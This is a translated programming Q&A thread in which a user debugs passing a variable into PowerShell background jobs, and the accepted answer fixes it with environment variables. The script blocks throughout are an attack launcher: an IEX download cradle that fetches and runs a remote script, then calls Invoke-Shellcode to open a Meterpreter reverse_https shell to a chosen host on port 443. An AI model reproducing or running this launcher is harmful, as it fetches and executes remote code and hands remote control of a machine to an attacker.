Параметр в ScriptBlock не расширяется должным образом

$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id   
    Start-Job -Name $id -ScriptBlock $s -args $num
}

Изменено с этого. Изменить: для ясности удален ненужный код.

MyCommandlet ожидает переменную (здесь -Lhost $temp), которая проверяется перед использованием (она не должна быть нулевой или пустой).

Я получаю следующее сообщение об ошибке при попытке запустить вышеуказанный скрипт.

Invoke-Shellcode: невозможно проверить аргумент параметра «Lhost». Аргумент нулевой или пустой. Укажите аргумент, который не является нулевым или пустым, а затем повторите команду.


Правка: Invoke-Shellcode – это исходный командлет, на который я ссылаюсь как на MyCommandlet. Я не хотел включать полный код из соображений безопасности (на случай, если люди сами запустят скрипт). Дополнительные сведения см. в коде здесь https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

Оригинальный ScriptBlock будет выглядеть примерно так (см. переменную $temp)

{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

По сути, переменная не передается моему MyCommandlet должным образом, тогда как Write-Host $temp возвращает ненулевое значение (что правильно) в том же контексте. Я понимаю, что переменные не передаются в другой ScriptBlock, особенно если он выполняется в новом задании, но поскольку Write-Host может правильно прочитать значение внутри задания, есть еще кое-что, что я, должно быть, упустил.

Как было предложено в некоторых сообщениях, я пробовал следующие альтернативы:

  • ...} -ArgumentList $temp (после ScriptBlock) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...} (в начале ScriptBlock)
  • Использование Start-Job -ScriptBlock {...} напрямую вместо переменной для ScriptBlock. [scriptblock]::Create(...) для объявления ScriptBlock
  • Использование Invoke-Command, вместо Start-Job но мало того, что тоже не работает (хоть и работает немного по другому), хотелось бы по возможности придерживаться Start-Job.
  • Я бы не хотел использовать функцию Powershell V3.0 $using:variable. Плюс, это не работало в конфигурации, которую я пробовал.

Ни один из них не работал для меня.


person Kant    schedule 15.11.2015    source источник
comment
Привет, вы пытались объявить свою переменную в сценарии инициализации для Start-Job? Используйте -InitializationScript $initScript и объявите в $initScript.   -  person sodawillow    schedule 16.11.2015
comment
Lhost настоящее имя variable?   -  person Mathias R. Jessen    schedule 16.11.2015
comment
В этом случае измените MyCommandlet -Argument "$temp" на MyCommandlet -Lhost $temp.   -  person Mathias R. Jessen    schedule 16.11.2015
comment
@sodawillow, нет, я не пробовал. Поможет ли распространение переменной в командлет, с которым я хочу взаимодействовать? Похоже, он все еще будет каким-то образом ссылаться на переменную, поэтому я могу столкнуться с той же проблемой.   -  person Kant    schedule 16.11.2015
comment
@MathiasR.Jessen Да, вот и все. Я попытался очистить свой код, но пропустил эту часть, поэтому это сбивает с толку. Я отредактировал код, чтобы отразить это. В любом случае, да, я пробовал. И не работает :(   -  person Kant    schedule 16.11.2015
comment
Код, который вы разместили, не соответствует сообщению об ошибке. Кроме того, вам нужно предоставить больше контекста для MyCommandlet. Фрагмент параметра слишком неполный. Является ли файл, который вы загружаете, скриптом или определением функции, заключенным в скрипт? Где определяется параметр? Пожалуйста, сделайте код в вашем вопросе как можно более автономным.   -  person Ansgar Wiechers    schedule 16.11.2015
comment
@AnsgarWiechers достаточно честно. Попытался немного улучшить четкость.   -  person Kant    schedule 16.11.2015
comment
Я действительно думаю, что это из-за того, как работает конкретный командлет, который я хочу использовать (то есть MyCommandlet или Invoke-Shellcode). Может быть, он делает какие-то странные вещи, которых я не понимаю. Переменная $temp получает правильное значение внутри scriptBlock и определенно не равно нулю. Просто командлет, который по какой-то причине не может его прочитать.   -  person Kant    schedule 16.11.2015


Ответы (1)


Я нашел работающее решение, основанное на использовании переменных среды, таких как $env:myvar. Чтобы связать это с вопросом выше, я использовал этот способ:

$foo = 'string_var'
$env:temp_var = $($foo)      

$s = { $WebClientObject = New-Object Net.WebClient
       IEX $WebClientObject.DownloadString('PAYLOAD_URL')
       Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
       #Write-Host $env:temp_var
     }

$id = [System.Guid]::NewGuid()
$jobs += $id   
Start-Job -Name $id -ScriptBlock $s

# Clean-up
Remove-Item env:\temp_var

Дополнительные сведения о переменных среды в Powershell см. на странице https://technet.microsoft.com/en-us/library/ff730964.aspx

ps: Мне до сих пор непонятно, почему варианты, предложенные выше, не работают... Если у кого-то есть какое-то объяснение, это будет очень кстати.

person Kant    schedule 16.11.2015